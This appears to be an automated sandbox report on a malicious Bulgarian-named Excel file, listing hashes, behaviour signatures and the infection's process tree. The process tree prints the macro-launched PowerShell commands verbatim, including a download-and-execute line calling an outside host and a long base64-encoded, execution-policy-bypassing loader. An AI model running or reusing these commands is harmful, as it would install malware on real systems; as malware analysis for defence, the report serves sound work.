e4238162da0854cbc8f4ce093d09b7bdde1830be20d5d1dcd32a217c619b8caa

General

Target

Получаване на транзакции.xls
Size

2.5MB
MD5

3270afb6349ded4b3adeb82aab1a2fa6
SHA1

79e753a3c5e9c35241e8a06ffa56fff6189a29cf
SHA256

e4238162da0854cbc8f4ce093d09b7bdde1830be20d5d1dcd32a217c619b8caa
SHA512

a3243369e5d0a3ef6b587b44a83c6e82a81a4722ee841095dfef5bbdb0e7971b2e686bf20c49566a04382ccfacb16241bcbbe4f958da9b58650d030499466405

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://ahjuric.si/Code.txt

Signatures

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1344 wrote to memory of 1600	1344	EXCEL.EXE	24
PID 1344 wrote to memory of 1600	1344	EXCEL.EXE	24
PID 1344 wrote to memory of 1600	1344	EXCEL.EXE	24
PID 1600 wrote to memory of 1704	1600	powershell.exe	27
PID 1600 wrote to memory of 1704	1600	powershell.exe	27
PID 1600 wrote to memory of 1704	1600	powershell.exe	27

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1600	powershell.exe
Token: SeDebugPrivilege	1704	powershell.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1600	powershell.exe
1704	powershell.exe
1704	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1344	EXCEL.EXE
1344	EXCEL.EXE

Blacklisted process makes network request 1 IoCs

flow	pid	Process
5	1600	powershell.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1344	EXCEL.EXE

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
1344	EXCEL.EXE
1344	EXCEL.EXE
1344	EXCEL.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1600	1344	powershell.exe	23

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\Получаване на транзакции.xls"
1⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of FindShellTrayWindow
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1344
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command IEX (New-Object('Net.WebClient')).'DoWnloadsTrInG'('http://ahjuric.si/Code.txt')
  2⤵
  - Suspicious use of WriteProcessMemory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious behavior: EnumeratesProcesses
  - Blacklisted process makes network request
  - Process spawned unexpected child process
  PID:1600
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -w 1 /e JABiAGgAZwBmAGQAcwBkAGYAZwBoAGYANgA1AGgAZgBnAGQAIAA9ACAAKAAnAHsAMgB9AHsAMAB9AHsAMQB9AHsAMwB9ACcALQBmACcAZABTAHQAJwAsACcAcgBpAG4AJwAsABwgYABEAGAAbwBgAHcAbgBgAGwAYABvAGEAHSAsACcAZwAnACkAOwBbAHYAbwBpAGQAXQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAVwBpAHQAaABQAGEAcgB0AGkAYQBsAE4AYQBtAGUAKAAnAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjACcAKQA7ACQAZgBqAD0AWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEkAbgB0AGUAcgBhAGMAdABpAG8AbgBdADoAOgBDAGEAbABsAEIAeQBuAGEAbQBlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAHCBgAE4AYABlAGAAVABgAC4AYABXAGAAZQBgAEIAYABDAGAAbABgAGkAYABlAGAATgBgAFQAHSApACwAJABiAGgAZwBmAGQAcwBkAGYAZwBoAGYANgA1AGgAZgBnAGQALABbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4AQwBhAGwAbABUAHkAcABlAF0AOgA6AE0AZQB0AGgAbwBkACwAJwBoAHQAdAAnACsAWwBDAGgAYQByAF0AOAAwACsAJwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBvAGYAZgBpAGMAZQAtAHMAZQByAHYAaQBjAGUALQB0AGUAYwBoAC4AaQBuAGYAbwAvAHIAbgBwAC4AdAB4AHQAJwApAC4AUgBlAHAAbABhAGMAZQAoACIAXgAiACwAIAAiADQANAAiACkALgBSAGUAcABsAGEAYwBlACgAIgAqACIALAAgACIANAA4ACIAKQAuAFIAZQBwAGwAYQBjAGUAKAAiACMAIgAsACAAIgA3ADgAIgApAHwASQBFAFgAOwBbAEIAeQB0AGUAWwBdAF0AJABmAD0AWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEkAbgB0AGUAcgBhAGMAdABpAG8AbgBdADoAOgBDAGEAbABsAEIAeQBuAGEAbQBlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAHCBgAE4AYABlAGAAVABgAC4AYABXAGAAZQBgAEIAYABDAGAAbABgAGkAYABlAGAATgBgAFQAHSApACwAJABiAGgAZwBmAGQAcwBkAGYAZwBoAGYANgA1AGgAZgBnAGQALABbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4AQwBhAGwAbABUAHkAcABlAF0AOgA6AE0AZQB0AGgAbwBkACwAJwBoAHQAdAAnACsAWwBDAGgAYQByAF0AOAAwACsAJwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBvAGYAZgBpAGMAZQAtAHMAZQByAHYAaQBjAGUALQB0AGUAYwBoAC4AaQBuAGYAbwAvAHAAbABkAC4AdAB4AHQAJwApAC4AcgBlAHAAbABhAGMAZQAoACcAJAAkACcALAAnADAAeAAnACkAfABJAEUAWAA7AFsAQwAuAE0AXQA6ADoAUgAoACcATQBTAEIAdQBpAGwAZAAuAGUAeABlACcALAAkAGYAKQA=
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious behavior: EnumeratesProcesses
    PID:1704

Windows 7 deprecation

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Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix

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